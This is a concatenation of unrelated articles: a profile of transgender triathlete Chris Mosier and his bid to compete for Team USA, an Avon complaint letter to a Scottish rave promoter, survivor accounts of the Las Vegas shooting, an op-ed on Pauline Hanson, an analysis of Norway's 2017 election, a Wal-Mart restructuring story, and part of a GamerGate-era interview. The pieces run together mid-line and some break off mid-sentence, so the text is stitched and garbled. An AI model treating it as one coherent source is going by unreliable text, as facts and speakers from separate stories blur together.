Mosier is slight and spry, with a 1,000-watt smile. He instructs thousands of athletes online and coaches more than 100 in person. He appears, even out of their earshot, genuinely thrilled each time any of them hit their goals. "Pumped" is a word he frequently uses to describe his emotional state.
But up close, after a two-and-a-half-hour run on a bad night's sleep, Mosier looks a bit battle worn. His iced skin is salmon red and chapped; there's no fat on his body, no sign of indulgence, just gnarls of muscle. A long white scar snakes across his collarbone from when he got hit from behind while biking in 2013. And there are two purple and white scars on his chest from a surgery he had as part of the transition to physically becoming a man.
When room service arrives with eggs, pancakes, hash browns and orange juice, he lifts himself out of the bath. Two hours later, he's dressed in a royal blue tailored suit with a pin at the lapel showing the American flag, with the Olympic rings beneath. Mosier, the first known out transgender athlete to qualify for any U.S. national team, is trying to be a trailblazer in the way Jackie Robinson was a trailblazer: busting through rules that still seek to exclude people like him, winning the right to compete at his sport's highest level. He wants to be seen, to force the world to make a space that isn't there. But due to the muddled policies of the international sports world, it's not clear whether Mosier will get the chance. And the way his case is handled by athletic governing bodies could set a precedent that ripples through the sports world.
On this September morning, he's off to Northern Michigan University, his alma mater, invited to speak at a diversity event. It will be his first visit to campus since he graduated 12 years ago. Mosier's day job is as assistant director of residential life at Marymount Manhattan College, but he spends the rest of his waking hours on training, coaching and advocacy. He is executive director of a national LGBTQ student-athlete network, GO! Athletes, which advocates for and mentors LGBTQ athletes; the night before, he'd led a conference call with former NBA player Jason Collins from his hotel room. On his site, transathlete.com, Mosier compiles a list of sports organizations' policies for allowing transgender athletes to compete. He also consults on how to make organizations more trans inclusive.
Mosier's path has taken him many places -- he was invited to the White House in 2011 -- but he wasn't sure he'd ever come back to NMU. He lived in college as an androgynous and confused woman, and some of his memories of harassment and isolation are painful.
As he enters University Center, a 1960s-era brick building with beige cinder-block halls, he feels nauseated and light-headed from his run. He slams three glasses of lemonade and rests in an armchair before heading into the conference. Mosier is devoted to being out and to being an advocate, but he's at least a bit conflicted about all that comes with that. Private by nature, he takes umbrage at the wide range of questions that get thrown at trans people.
The conference room is set up with hundreds of chairs, but only about 30 people have gathered to hear the current speaker. It's hard to tell whether anyone will show up for Mosier's talk, but when the speaker concludes, more than 100 students and teachers have poured in. Mosier's whole energy changes when he takes to the podium. His talk is a funny, heartfelt discussion of his transition. He tells the audience that he used to perform as NMU's Wildcat Willie mascot. When people photographed Willie, Mosier always smiled inside the yellow furry head. "I smiled biggest for photos when no one could see me," he says. "I spent a lot of time here trying to make myself invisible."
After Mosier's speech, a line forms. "I'm Kayleh and this is Nikki, and we just want to say you are awesome. Can we take a selfie with you?"
An administrator quietly tells Mosier, "It's good you were here, good to see you. We are very proud of you." Mosier gently chides him, "You guys need to get some gender-blind dorms."
Alex Clark, a 24-year-old English and history major with a scraggly beard, wants to know whether Mosier has any idea how Clark can keep playing on his beloved women's rugby team now that he has transitioned. "Nah, man, you know the NCAA says you take one shot, you get disqualified," Mosier says of testosterone, adding, "even though we know that one dose doesn't do anything."
Mosier asks whether Clark has considered the men's team. "They all know me from before I transitioned, when I was appearing more feminine," Clark says, "and they're so freaking homophobic." Mosier is sympathetic: "I know, it's crazy! They wear those short shorts! But yeah, it sucks. There's still rec league."
Like Clark, Mosier faces uncertainty over whether he'll be able to compete in his sport. The International Triathlon Union, which runs the world championship, does not publicly list a policy on transgender athletes, and Mosier has yet to receive an answer to his request for clarification. He is concerned that the ITU will follow the International Olympic Committee's guidelines, a possibility Mosier describes as the "worst-case scenario." He says that the IOC criteria are discriminatory and "not relevant to athletic performance" -- and that they could bar him from competition.
Early-morning training is standard for Mosier, who is typically out before the sun is up. Benedict Evans for ESPN
FOR A LONG time, "athlete" was the only label that fit Mosier comfortably. When he was 8, growing up in a Chicago suburb, he started taking adult karate classes three times a week. At 10, he got his black belt and began teaching the adult class; he remembers appearing on the front page of a Chicago newspaper under the headline "The New Karate Kid."
Mosier has always presented himself as masculine, and people frequently asked whether he was a guy or a girl. "It felt good in a way, like a confirmation of something," Mosier says, "but what felt bad was watching my mom's reaction of discomfort." Mosier thought he would grow up to be a man. "I never envisioned myself in female clothes, never pictured myself getting married, having the dress, how a lot of young girls do. I always pictured myself with a flat chest and washboard abs."
When he headed to college, Mosier threw himself into activities, editing the school paper, leading a coed service fraternity, hosting a radio show, playing intramural sports and performing as Wildcat Willie. "I was always moving from group to group, never getting too close. I didn't want to have strong relationships because I was uncomfortable with myself," Mosier says. "Everyone else was questioning what I was, who I was, but I never put the time into figuring that out. I didn't identify with female, but I didn't have the language to understand what that was for me."
Mosier knew of no trans people at NMU. "My experience with trans people was Jerry Springer and Maury Povich or men in dresses for comedy. None of that was positive, and it was mostly male to female."
Mosier dated men until his senior year, when he met Zhen Heinemann, who is now his wife. After graduation, he moved to LA, Chicago and then, at age 25, New York City. In 2008, at 28, he returned to Chicago to run his first marathon. Once he completed that goal, he thought, "What's next?" So he bought a bike, and he taught himself to swim from books and videos.
Within a year, he ran his first triathlon, winning the first-timer's bracket for women at a race on Staten Island.
At the same time that Mosier was getting more serious about his athletic career, his issues around gender identity were coming to a head. After college, Mosier thought "maybe I can identify as androgynous and exist in this body and ask people not to use pronouns with me, or maybe I can be OK with people calling me he 40 percent of the time."
But living in an in-between place didn't work. "Every time people would call me she or ask 'What are you?' my power meter would go down," Mosier says. "At the end of the day, I was just broken."
Heinemann insisted that Mosier seek therapy. In counseling, he talked about how a transition would affect his family and work, but he kept coming back to sports. "Playing sports and being competitive was so important to me," he says. "If I transition, will I be competitive as a man? Will I not be allowed to compete because of my presentation? What if I don't pass as male?"
He eventually decided it was more important to be comfortable in the rest of his life, regardless of what happened with sports. By the time Mosier enrolled in NYU's graduate program for higher education in January 2010, he'd begun transitioning and entered as a man. He changed his gender designation on documents and trained with the men's cycling team. In mid-2010, he started testosterone, and by year's end, he was competing as a man. He also sent an email to all his Marymount colleagues announcing his transition.
Mosier thought a lot about whether to be out when he transitioned or to live his life "just as a guy" -- to be known as just an athlete instead of as a transgender athlete. But he says he felt obligated to come out based on his experience growing up. "I want to be the person I needed 15 years ago," Mosier says. "In terms of me saying, 'This is my identity; where do I fit in? What's your organization's name-change policy? Are there gender-neutral locker rooms?' I am setting up systems in place so other people can navigate with greater ease because I have already done it."
During his transition, Mosier blogged on a website for trans men called Original Plumbing on his fears about passing, competing in body-conscious spandex and changing in group tents during triathlons. Now, he says, most of these concerns no longer feel like an issue. The biggest surprise, Mosier says, was that when he started competing as a man, "no one cared. That's part of the super interesting thing -- no one gave me a hard time."
Female transgender athletes, such as MMA fighter Fallon Fox, are often subject to harassment and threatened with exclusion. One reason Mosier thinks he didn't get pushback is that it was widely believed that someone who transitioned from female could not be competitive against men. "There was an assumption that I would move over and not do very well, so no one paid attention to me, which was fine and great," Mosier says. But he is in fact competitive with other men. Mosier regularly places in the top 10 percent of his age group.
As part of his transition, he began testosterone therapy at about the same time he upped his training. Although the hormone has helped him build muscle faster and easier, he says, "It's hard to say how much of my performance is me waking up at 5 a.m. and training my ass off and how much is related to testosterone."
His longtime teammate and co-coach from the Empire Triathlon Club,Alison Kreideweis, says, "I don't think it's about advantage or disadvantage. It's really just that guy tries harder than everyone else."
On June 6, Mosier competed in the U.S. sprint duathlon national championship in Minnesota. Zhen Heinemann
ON A TRAINING ride in 2010, before Mosier was competing against men, a teammate suggested that he compete in the women's duathlon national championship to see whether he could qualify for Team USA. The idea stuck. "Every time I passed the same point on the road where he mentioned that -- it was next to a wood bus shelter in a small town near Nyack -- I could hear him saying that to me," he says.
Mosier never attempted to qualify for the national team in the women's division, but by 2014, he felt he could qualify for Team USA as a man. Mosier had already contacted the U.S. Anti-Doping Agency to ensure he would be in compliance with its requirements for transgender athletes. Mosier documented his hormone levels for the USADA to verify that they were within normal male range and subjected himself to random testing. He set out to enroll in the national championship race in the 30-34 bracket (triathlons are grouped by age), scheduled for July in St. Paul, Minnesota.
"Age-group athletes can get away with participating without going through those official steps, but I want to make sure everything is in order so there will never be a case where I win something and people contest it," he says.
But the process of making the doctor's appointments and getting the test results he'd need to obtain a therapeutic use exemption for testosterone took longer than expected, and then the USADA needed 21 days to reach a decision. Mosier didn't find out until the Friday before the race that he was eligible to compete -- too late for him to make it to Minnesota. "I was a little heartbroken," he says.
So Mosier marked the 2015 race on his calendar and pegged all his training goals to making the top 18, which was the cutoff to qualify for the national team. "I really structured my season around the one race. That was my only goal for this year."
In April, two months before the race, Mosier was surprised to learn that USA Triathlon had changed the qualification standards for the world championship: Only the top eight finishers in his age bracket, now 35-39, would qualify for Team USA.
Mosier looking at the result sheet with his time in the national championship. His 1:02:45.48 finish put him in seventh place for his age group and on the national team. Zhen Heinemann
Mosier is a nervous racer, and for a month or two all he thought about was making the national team. "Every time I rode my bike to commute or run errands, I would think about the championship and envision myself racing," he says. "I raced that race 400 times before I actually got to the starting line."
Finally, this past June, Mosier and his wife drove nearly 1,200 miles to Minnesota for the championship. Race day dawned sunny and clear, and by the time Mosier reached the starting line, a knee injury that had been bothering him for months magically eased. Two-thirds through the race, as he pulled into the transition area between the cycling leg and the second run, he surveyed the number of bikes in ahead of him and figured he was in the running to nab one of the final spots. But he couldn't be sure. After crossing the finish line, he made his way to the timing table to grab the piece of paper with his finish results. Without so much as peeking at it, he walked away from everyone else to be by himself. Finally, he peered down: It said he placed seventh. He was a member of Team USA. Mosier couldn't stop smiling and looking at the number.
AS SOON AS Mosier qualified for Team USA, he reached out to the ITU to find out what it would require to clear him to compete in the world championship, but he never received a definitive answer.
Across sports organizations, policies on transgender athletes are wildly inconsistent. On the high school level, some states permit students to compete as whatever gender they identify with, some require athletes to change their birth certificate and some have no policy at all. A state legislator in South Dakota recently introduced a measure that would require transgender high school athletes to submit to a "visual inspection." The NCAA came out with a policy on transgender athletes in 2011 that requires a year of hormone therapy but not any surgery.
Many sports organizations default to the IOC's guidelines on transgender athletes. The group has a long and checkered history on issues of gender. In the mid-1960s, IOC officials required women to appear naked and submit to gynecological exams to prove that they were really women. Even today, the IOC tests naturally occurring hormone levels in some female athletes. If a woman's body naturally has a high level of circulating testosterone -- something that is highly variable and that, unlike synthetic testosterone, has never been shown to confer an athletic advantage -- she can be disqualified from competition.
In 2004, the IOC, ahead of many institutions, published guidelines on what criteria transgender athletes should meet in order to compete. In a rhetorical flourish, these were officially dubbed the "Stockholm consensus on sex reassignment in sports." Among other things, the Stockholm Consensus calls for any transgender athlete to have had a gonadectomy and reconstructive genital surgery two years before competing. Genital reconstructive surgery is expensive, rarely covered by insurance and not desired by a significant portion of transgender people. Transgender advocates say requiring the surgery is unfair because the operation doesn't affect athletic ability in any way.
"Some people are comfortable with their bodies and they don't want to do that," Mosier says. "Their ability to compete as athletes shouldn't be contingent on adding or removing body Parts." (According to a statement from an IOC representative, "The IOC has always taken great care that such sensitive issues are dealt with by broad consensus using the latest scientific knowledge and research in that area.")
Technically, the IOC doesn't enforce the Stockholm Consensus itself but offers its guidelines to all the world's international sports federations, from track and field to swimming to soccer. It's up to those groups to enforce the guidelines, if they so choose, an IOC representative explained to ESPN in an email. Many adopt the IOC's position -- because it was the first and because it carries the imprimatur of the Olympics.
The effect is that, although the IOC drafted the rules, it kicks the can on enforcement to groups such as the ITU.
When contacted to clarify the ITU's policy on transgender athletes, a representative emailed that the group does go by IOC policy: Transgender athletes must be two years post-surgery before competing.
But the ITU also said that, similar to the IOC, it does not actually enforce the guidelines itself. Instead, it relies on the national federations, such as USA Triathlon, to ensure that all IOC requirements are met when they enter their athletes into international competition. So the ITU kicks the can down another level.
For its part, USAT also says that it follows IOC guidelines -- a representative for the group told ESPN that it applies them to all 4,400 events it sponsors in America. In theory, that would have barred Mosier from competing and ever making Team USA. But when asked how USAT actually goes about enforcing its policy, a representative said the group allows people to compete in the gender that is on their driver's license. In many states, it's possible to change the gender on your driver's license without surgery. In other words, USAT says it requires transgender athletes to have had genital surgery but so far hasn't enforced that policy.
That would seem in conflict with the ITU's requirement to follow IOC guidelines. But according to an email from the ITU representative, that's OK: "If USA Triathlon uses the driver's license as an indicator of the legal recognition of an athlete's assigned sex as conferred by appropriate official authorities, then that is accepted by ITU."
This bizarre chain of policies and non-policies would seem to allow Mosier to compete in Spain, albeit technically in breach of rules. The problem, as Helen Carroll, the sports project director for the National Center for Lesbian Rights, points out, is that whether the policy is enforced could change at any minute.
Carroll isn't even sure all these bodies realize how circular and convoluted their rules are. "They are not concerned about transgender men participating in international sports," Carroll says, "so they don't even realize that what they are saying does not match up."
In November, the IOC will revisit the Stockholm Consensus and, according to a representative, update its guidelines "based on the latest scientific evidence."
Nobody knows exactly what the IOC will do. But Carroll says the current IOC policy barely even mentions male transgender athletes in the first place. "The IOC is very concerned about a woman athlete having a penis," Carroll says. "Officials in men's sports don't believe a person born a female could ever be talented enough to be super competitive as a transgender man."
Chris Mosier, she hopes, could change people's minds. "I think Chris is going to blow them out of the water."
Sports bureaucrats might still be trying to figure out how transgender athletes fit in, but in a way, Mosier has already answered the question.
One morning in September, he woke up at 4:45 a.m. and ran three miles to a pedestrian bridge connecting upper Manhattan to Randall's Island. There, he fell in with a group of about 40 other members of the November Project, a hyperenergized workout group. Through a drizzle, they ran back and forth across the bridge and blasted out burpees, lunges and squats while a boom box pumped hip-hop. As is the group's custom, members frequently hugged, high-fived and whooped. When the workout finished, Mosier hand-clapped everyone as he began his run back to his apartment. This was his tribe, people who wanted to push their bodies to the edge of what's possible and see whether the body in all its finitude and disappointments can match, however briefly, the boundlessness of the spirit inside.
He could not have been more at home.Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
A Glaswegian club promoter who hosted a "Yer Da Sells Avon" tour across Scotland has found himself in trouble from the beauty brand.
Paul Zitkus, 31, had hosted the " I am a Raver " tour which featured hardcore acts such as DJ Rankin, Gary McF and DJ Cammy.
The PCDJ's were joined by a modern cult hero Gary Clitcher - the MC behind Scotland's biggest dance hit of 2017, 'Yer Da Sells Avon'.
Paul received the letter from Avon's Head of Marketing on Tuesday which said:
"Dear Mr Zitkus,
"We believe that it is yourself we should write to regarding the I Am A Raver tour in Scotland known as the "Yer Da Sells Avon Tour" taking place in EQHQ, Livingston on Saturday 27th May & Word Up, Greenock on Friday 2nd June.
"At Avon, we are a proud to be known as "the company for women" and feel this tour could be damaging to our brand. We do have male Avon Representatives but we feel your tour name is a mockery to their hard work & dedication.
"We also do not give permission to use our logo on any artwork and would ask if you could rename the tour & remove our logo. We hope you understand our concerns and we are sure your events will still be a success.
"If you are interested in becoming an Avon Representative in your area you can apply online via the following link: www.avon.uk.com/become-a-representative/
"Yours sincerely, Alison Price Avon Head of Marketing"
Paul spoke to us out regarding the letter saying: "I just laughed when I read the letter, was shocked they even found out about our tour.
Spoke with our designer and we haven't even used their logo (it's similar) so don't plan on changing anything."
When asked if Paul was planning on taking up Avon on their offer to be a representative he said: "As generous as the offer was to become a rep I don't think it would be fair on my children."
So it turns out the dad will not be selling Avon in the future.Two survivors of the deadliest mass shooting in modern US history have described how concert-goers tried to shield themselves from the line of fire.
Caren Mansholt said some people initially thought the sounds of the first rounds of ammunition were fireworks.
"People were running and screaming and trying to get out of there. I literally just went down right in front of my seat and I was trying to crouch as low as possible and just stay out of any line of fire," she told BBC Radio 4's Today programme.
Rusty Dees said he thought the biggest problem for many was that he did not see anyone returning fire.
He said: "What many people did in the open environment they were in, the floor seating if you will, was they all took shelter by just kneeling down.
"What they didn't know was that for someone 32 storeys above that they were just sitting targets, so it was really like a tragic effort, everyone trying to do the right thing but this crazy person obviously thought all this stuff through."
He added: "Everyone was helping everyone, there were people hurt and if they fell down because they were injured people were picking them up...it was the best and the worst of people, it really was."
Asked if something needed to happen on gun ownership laws, Ms Mansholt said: "I do believe there is a time and a place for gun ownership and I believe that we have the right to protect ourselves as needed and it's so unfortunate that there are people out there, in this instance this man made a makeshift illegal weapon and used it in the worst way possible, and I think that is extremely hard to prevent."
Mr Dees added: "If you can find a gun law that could prevent this from happening I could sign up today, but I am proud of our country's Second Amendment rights and I'm glad we're allowed to defend ourselves."If Pauline Hanson seemed isolated in her open views about race and identity in Canberra 20 years ago, this time she may find herself struggling for the bright white spotlight. On her first day in parliament, Senator Cory Bernardi bounded around collecting signatures from almost the entire Liberal and National party backbench for the overthrow of laws designed to prevent racist hate speech, with no real need for Hanson and her three fellow senators.
Liberal MP George Christensen who, like Hanson, has hit the podium at Reclaim Australia rallies, beelined for her at the opening ceremony, happily sharing a bag of mixed nuts with Hanson and the wide-eyed Malcolm Roberts. This week’s shotgun wedding video starring Hanson and Tony Abbott aims to clear out the last vestiges of her decades-old dispute with the “traditional” conservative right.
Pauline Hanson’s back in Canberra, and many there are keen to show us that the sky hasn’t fallen in, although Malcolm Roberts may yet demand empirical evidence for such a galactic non-event.
In the late 90s I made two songs from editing Hanson’s voice, changed my name to Pauline Pantsdown and ran as a NSW Senate candidate in the 1998 election while my song “I Don’t Like It” was topping the charts (the first song “I’m a Back Door Man” having been temporarily halted after court action by Hanson).
Facebook Twitter Pinterest Pauline Pantsdown – I Don’t Like It
Contrary to popular discourse by and about Hanson as a “non-politician”, I felt that she was the most constructed celebrity politician I’d ever seen, with a rapidly-changing succession of handlers pushing an American-style log cabin story to present her as an “ordinary Australian”.
I could only see her “ordinariness” in her presentation and vocal style, as opposed to her beliefs or politics. Her voice somewhat nostalgically reminded me of my mother’s Queensland family, and when required to speak in character (as opposed to miming my edit of her voice), I’d call on childhood memories of Aunt Jeanette. There hadn’t been anyone who sounded like my aunt in parliament before, but Aunt Jeanette hadn’t blamed the world’s problems on Aboriginal and Asian people.
At the time, I hoped to have an effect by mimicking her constructed media image, presenting as an “alternate Pauline” to critique her politics. I met many Hanson supporters while on the campaign trail, and I’d never met political fans who knew so little of their hero’s policies. Some of them were racists, the rest were just looking for their Aunt Jeanette.
Since Hanson’s re-election two months ago, debate has swirled around how to “respond” to her. Margo Kingston called on people to listen to Hanson, prompting a variety of responses that Ketan Joshi summarised as being divided according to whether or not the authors were members of groups targeted by Hanson.
This paralleled my experience of people’s opinions in the 90s – while Caucasian people would talk of Hanson in terms of the embarrassment of her possible reflection on them, some Asian and Aboriginal friends said my songs gave them a conduit to “laugh back at her” as an element of fighting perceived powerlessness while under attack.
Already, Hanson’s reappearance has led to generalised public “concern” in relation to Muslims, with Sonia Kruger’s televised panic leading to peacemaking attempts by commentator Waleed Aly, for which he was criticised by other voices such as Mohamad Tabbaa and Claudia Maryam Sirdah for replacing criticism of the source of that fear.
Hanson’s success will be her undoing. As conservative politicians scramble to fete her, the B-grade underdog script lies in shreds. Those dragged into government under her name are emerging into the public eye like a succession of McDonald’s pantomime villains, and we’ll see the collapse of unity faster than the Palmer United party after a curry dinner, or One Nation themselves in the 1998 Queensland state parliament.
Cory Bernardi is more dangerous than One Nation – his party is in power | Jason Wilson Read more
In the 2016 election, she faced off a nationwide smorgasbord of rival anti-Islam groupings purely by virtue of her 21st century B-celeb status on a succession of soft breakfast and reality TV shows. A few years ago, the Sydney-based Drag Industry Variety Awards (Diva) invited her to present an award, and in the process of successfully getting that invitation reversed, my friend Verushka Darling and I discovered that some younger organisers had no real idea of the source of her fame – to them, she was just another TV celebrity.
As in 1998, Hanson will collapse under scrutiny. Let’s merely ask for the structure of that royal commission into Islam, and ask how that economic protectionism will actually serve the farmers who she’s promised the world.
And as her non-answers bring her down from her castle like a latter-day Wizard of Oz, let’s remember to keep an eye on George Christensen’s crude anti-Islam website, with its imagery of gun sights on people’s heads, and consider Celeste Liddle’s plea to look at institutionalised rather than individual racism. Apart from her weird men’s-rights-activist-influenced statements about women faking domestic violence, perhaps there’s nothing really special about Pauline anymore.International Relations • September 28, 2017 • Asbjørn Wahl
The centre-left failed in getting rid of the so-called ‘blue-blue’ government at the parliamentary elections in Norway on 11 September. The Labour Party was the main loser, while small parties on the centre-left advanced slightly. However, the parliamentary basis of the right-wing government has started to unravel. A deeper political crisis may be looming in the background, while social contradictions are on the raise. Social Democracy followed the general European downward tendency (except Britain).
First, some basic facts on the Norwegian electoral system. There are 169 members of parliament, who are elected through proportional representation. The 19 counties serve as the electoral constituencies. There is a threshold of 4 percent to qualify for the proportional distribution of representatives, although it is possible to win direct representation from the counties also if the national gain of votes is below the threshold. Two political parties won representation in that way.
In the previous four-year parliamentary period, Norway was governed by a minority government formed by the Conservative Party and the so-called Progress Party (a right-wing populist party). Therefore the
name blue-blue government. It was supported by two other parties – the Christian Democratic Party and the so-called Liberal Party (which in reality is neoliberal, but with a touch of green). This support was established through a formal agreement, but to secure a parliamentary majority for the government, it was sufficient with support from only one of those two parties.
Fragmentation and Move to the Right
Norway has seen an increasing political fragmentation over the last years. After the current elections, there are 9 political parties in Parliament. The four on the right are mentioned above, while the centre-left opposition includes the Labour Party, the Centre Party, the Socialist Left Party, the Green Party and the Red Party. As in many other countries, however, the entire political spectre has moved to the right during the neoliberal offensive from around 1980.
For the blue-blue government, two important things changed with the last election. The Christian Democratic Party says that it is no longer willing to sign a contract of support to a government in which the
right-wing populist party takes part; and the government is dependent on both the two former supportive parties to achieve majority in Parliament. In other words, the Government’s political basis is much weaker than in the previous period, something which opens the possibility of a breakdown of the blue-blue government. Since Norway does not have the possibility to call an election in a mid-parliamentary period, this can lead to a lot of political turbulence or an open political crisis.
Norwegian Parliamentary Election in Figures Party Votes % Gain/loss from last election Number of MPs The right-wing coalition: The Conservative Party 25.0 -1.8 45 (-3) The Progress Party 15.2 -1.2 27 (-2) The Liberal Party 4.4 -0.9 8 (-1) The Christian Democratic Party 4.2 -1.4 8 (-2) The centre-left opposition: The Labour Party 27.4 -3.5 49 (-6) The Centre Party 10.3 +4.8 19 (+9) The Socialist Left Party 6.0 +1.9 11 (+4) The Green Party 3.2 +0.4 1 (unch) The Red Party 2.4 +1.3 1 (+1)
Many people expected a centre-left victory at this election, since the blue-blue government had carried out many unpopular policies. The discontent was particularly strong in the trade union movement. However, the Labour Party’s election campaign proved to be quite
disastrous under its new leader, Jonas Gahr Støre. One of the big ‘mistakes’ was a flirt with the so-called political centre (centre right), that is with the two political parties which had supported the blue-blue government and by that had also supported
attacks on the labour law and other economic and social gains for the working class. Further, the Labour Party was not even able to take a clear stand against the ongoing and very unpopular commercialization of core services in the Norwegian welfare state. Neither did the
party come up with a credible policy against the undermining of labour market regulations, which to a high degree is promoted by the increasingly authoritarian, neoliberal European Union. This is a policy which in Norway is being implemented through the European
Economic Area (EEA), an agreement which is strongly supported by the Labour Party.
The right-wing populist party, on the other hand, was successful in setting the agenda for much of the election campaign, first and foremost by playing the anti-immigration card and by focusing on identity policies. The Labour Party was unable to respond to this with the only measures which can really confront such right-wing policies, namely a clear class policy. This did not necessarily happen because the party’s leadership is unwilling to do so, but simply because class politics are strongly in deficit in today’s social democracy – deeply rooted as it still is in a social partnership ideology.
While social democracy is on the verge of breaking down, and even being eradicated, in big parts of Europe today (Greece, Iceland, Ireland, the Netherlands, France), much suggests that also the Norwegian, actually the Nordic, social democracy, despite its fame as the creator of the Nordic welfare model, is now following the downward course of their European sister parties, although more gradually. Power relations do not seem to be part of the actual social democratic narrative – their raison de vivre is obviously to administer capitalism within the limits given the existing power relations – not to shift the balance of power. Thus, the right-wing political offensive is not really being confronted by social democracy.
The golden age of social democracy was based on a class compromise and a balance of power which made it possible to move forward socially within the framework of a regulated capitalism (i.e. the welfare state). The material basis for such policies is now coming to an end with the deep crisis and stagnation of capitalism, and the subsequent neoliberal offensive. The social democratic attempt to re-establish the class compromise, with its successful tripartite cooperation and social dialogue, even without class mobilization and confrontations, is an illusionary project in the current political conjuncture.
Maybe the Norwegian election is just another sign that the era of social democracy is now coming to an end. All those, all over the world, who have been looking at the Nordic Model as their final aim, may have to rethink and reassess their policies and strategies. But who on the left can now provide us with a class policy with perspective? •For months, a digital clock has counted relentlessly down -- minutes, hours, days -- inside the headquarters of Wal-Mart Stores Inc.
The timer was set up after Greg Foran, head of the company's U.S. operations, made Oct. 1 a "line in the sand" for transforming Wal-Mart into a cleaner, easier and friendlier place to shop. The 54-year-old executive has crisscrossed the country visiting stores, trying to bring them up to par.
The clock hit zero on Thursday -- and Foran is still at work.
While many Wal-Mart locations are now in better shape, some are lagging behind. And Foran is continuing his torrid pace of surprise visits, aiming to spot problems in the sprawling chain of 4,600 U.S. stores. Wal-Mart has made progress on its key priorities -- making checkout lines shorter, for instance -- but the company is still pushing to bring costs lower and improve efficiency.
In that vein, Wal-Mart said on Friday that it was cutting 450 workers at its headquarters.
"While difficult, I believe these changes will help us become a more nimble organization that serves customers better," Chief Executive Officer Doug McMillon said in a memo to employees. "Our customers are changing, retail is changing, and we must change. We need to become a more agile company that can easily adapt to shifting customer demand."
At stake is Wal-Mart's legacy as the king of discount |
and that they promote the positive value of helping those in need, then please make a tweet with the hashtag #PrincessesArePeople.
And, finally, since the last thing I want to do is promote a you’re-either-with-us-or-against-us type of false dilemma, I’ve decided to add a third option in response to a pleasant exchange I had with Twitter user Mazokelke: If you believe that this issue is either too complex to be boiled down to a simple binary choice or have mixed feelings about it, then please make a tweet with the hashtag #PrincessesAreComplicated.
Since it’s impossible to condense the entirety of one’s feelings into 140 characters or less – as The Escapist co-founder Alexander Macris joked, “So much of what passes for speech on the web these days is the equivalent of throwing bumper stickers at each other.” – any female gamers who wish to are welcome to weigh in on the “Damsels in Distress” issue by writing essays telling me what they they think and sending them to either princesses-and-shields@hotmail.com or submitting them to princessesarepeopletoo.tumblr.com, where they will be made available for public viewing.
And, just so no one feels left out, if you, as a female, minority, or LGBTQ gamer would like to tell the world about your experiences as a member of the gaming community, you’re welcome to send essays to the experiment’s sister site, wearenotyourshield.tumblr.com.
I regret denying straight, white male gamers an opportunity to speak during this experiment, but, given the underhandedness of their anti-GamerGate crowd, the only way for you to win in this case is not to play. Don’t worry, though: everyone else who doesn’t fit that description will speak volumes.
GN: What do you think of the current critics of how women are shown in gaming?
Lunar: That’s a very complicated question. The truth of the matter is that there are sexist elements present in video games today. There’s no denying it. However, I think that this is largely due to certain titles being primarily marketed towards a particular gender, namely males, rather than a conscious attempt by the video game industry to collectively hold up a “No Girls Allowed!” sign. Alienating half of the gaming community – which, at this point, is 45% female – would be an incredibly stupid thing to do from a marketing point of view. Of course, some developers do seem to be genuinely clueless about how to effectively tap into the female demographic, but this is largely due to a lack of representation in the video game industry. Society proceeds at its own pace and this “problem” will gradually solve itself as more women choose to make a career out of creating the kind of games that they would like to see. The same applies to minorities and the LGBTQ community. Balance will inevitably come, but it will take time.
Unfortunately, while the hearts of many critics may be in the right place, it’s a sad fact of life that, in any group, the extremist fringe invariably speaks with the loudest voice, not because of their number, but because of their tactics. If you allow someone with an agenda – such as an ideologue or a professional agitator – to assume a position of power, they’ll invariably use the megaphone and soapbox they’ve been handed to whip people into a frenzy by pushing their anger buttons, amplifying what would normally be ripples of discontent in a pond into a veritable tsunami of hatred. As a result, they invariably end up doing far more harm than good for the individuals they claim to represent.
The first big problem is the attempt of these critics to force diversity instead of allowing it to be introduced organically. They want inclusivity and they want it right now. This ham-fisted approach ends up making the final product look forced and unnatural. Even worse, this strategy fails to acknowledge the existence of niche titles catering to specific demographics and instead wants to make all titles cater to all possible audiences simultaneously, an effort which is doomed to fail. To make an analogy to print media, they’re trying to do the equivalent of forcing Soldier of Fortune magazine to add sections about fashion and make up or introduce features about home improvement and automobiles into Cosmopolitan. That makes no sense whatsoever and such clumsy attempts at inclusivity would likely be met by the same kind of fierce resistence by dedicated readers of both magazines that you see in the gaming community now and for the exact same reason: it’s disruptive and unnecessary. A far better approach would be to take a video game that already has broad appeal to begin with and trying to expand that fanbase even further, or, better yet, to create an entirely new title or niche of games that caters to your desired audience. That makes far more sense than trying to force existing games in firmly established genres with very particulars fanbase to conform to some kind of arbitrary diversity checklist. There’s room for all kinds of titles.
Another major issue is that the extremists use needlessly polarizing and divisive methods in order to effect the kind of changes they want to see. Instead of doing something nuanced, practical, and insightful, such as asking readers to share stories about how they’d like to see diversity and inclusivity incorporated into future games and then passing these ideas on to developers, they instead decide to go the Donglegate Nuclear Option route by making a public spectacle of things. Not only are developers openly villified, guilted, and shamed for allegedly being inconsiderate of women and minorities in their games, but so are the gamers who had the “bad taste” and “questionable morality” of enjoying those titles. These kinds of misguided, outrage-fueled, self-righteous rants achieve results at the cost of compromising artistic vision and freedom. Even worse, they breed resentment and anger in their targets which isn’t soon forgiven or forgotten, if it ever is.
Then we come to the endless criticisms about a lack of female representation in the industry itself. Their solution to this? Paint a graphic picture of the gaming community and the video game industry as a wretched hive of white male scum and misogyny. Seriously? How exactly is that approach going to make a career in video game design or technology industry more appealing to women? Or to anyone, for that matter? Well, according to Susan Sons – who started tinkering with code when she was six years old, filed her first bug report at the age of twelve after being welcomed with open arms by the programmers, and went on to become an open source hacker – it’s exactly as off-putting and counterproductive as you’d expect:
“I’ve […] come to realize that I have an advantage that female newcomers don’t: I was here before the sexism moral panic started. When a dozen guys decide to drink and hack in someone’s hotel room, I get invited. They’ve known me for years, so I’m safe. New women, regardless of competence, don’t get invited unless I’m along. That’s a sexual harassment accusation waiting to happen, and no one will risk having 12 men alone with a single woman and booze. So the new ladies get left out.” – Susan Sons
http://www.linuxjournal.com/content/girls-and-software
By the sound of it, this “strategy” is fostering an atmosphere of paranoia and mistrust along gender lines and creating unhealthy work environments, where everyone has to walk on eggshells in order to avoid potentially offending anyone else. It’s actually making things worse than they were before.
Finally, we come to the “champions” of women and minorities in games, the key members of the gaming media in the anti-GamerGate camp, who are responsible for exacerbating the current situation and in a class all their own. And because I just know that some people out there are going to take what I’m about to say out of context to try to make me look bad, I’m going to make my stance clear before I continue: no one, and I mean no one, on either side of this argument, has the right to harass or send rape or death threats to anyone of either gender on either side over a difference of opinion or their questionable character. Stop doing it. You’re giving humanity a bad name.
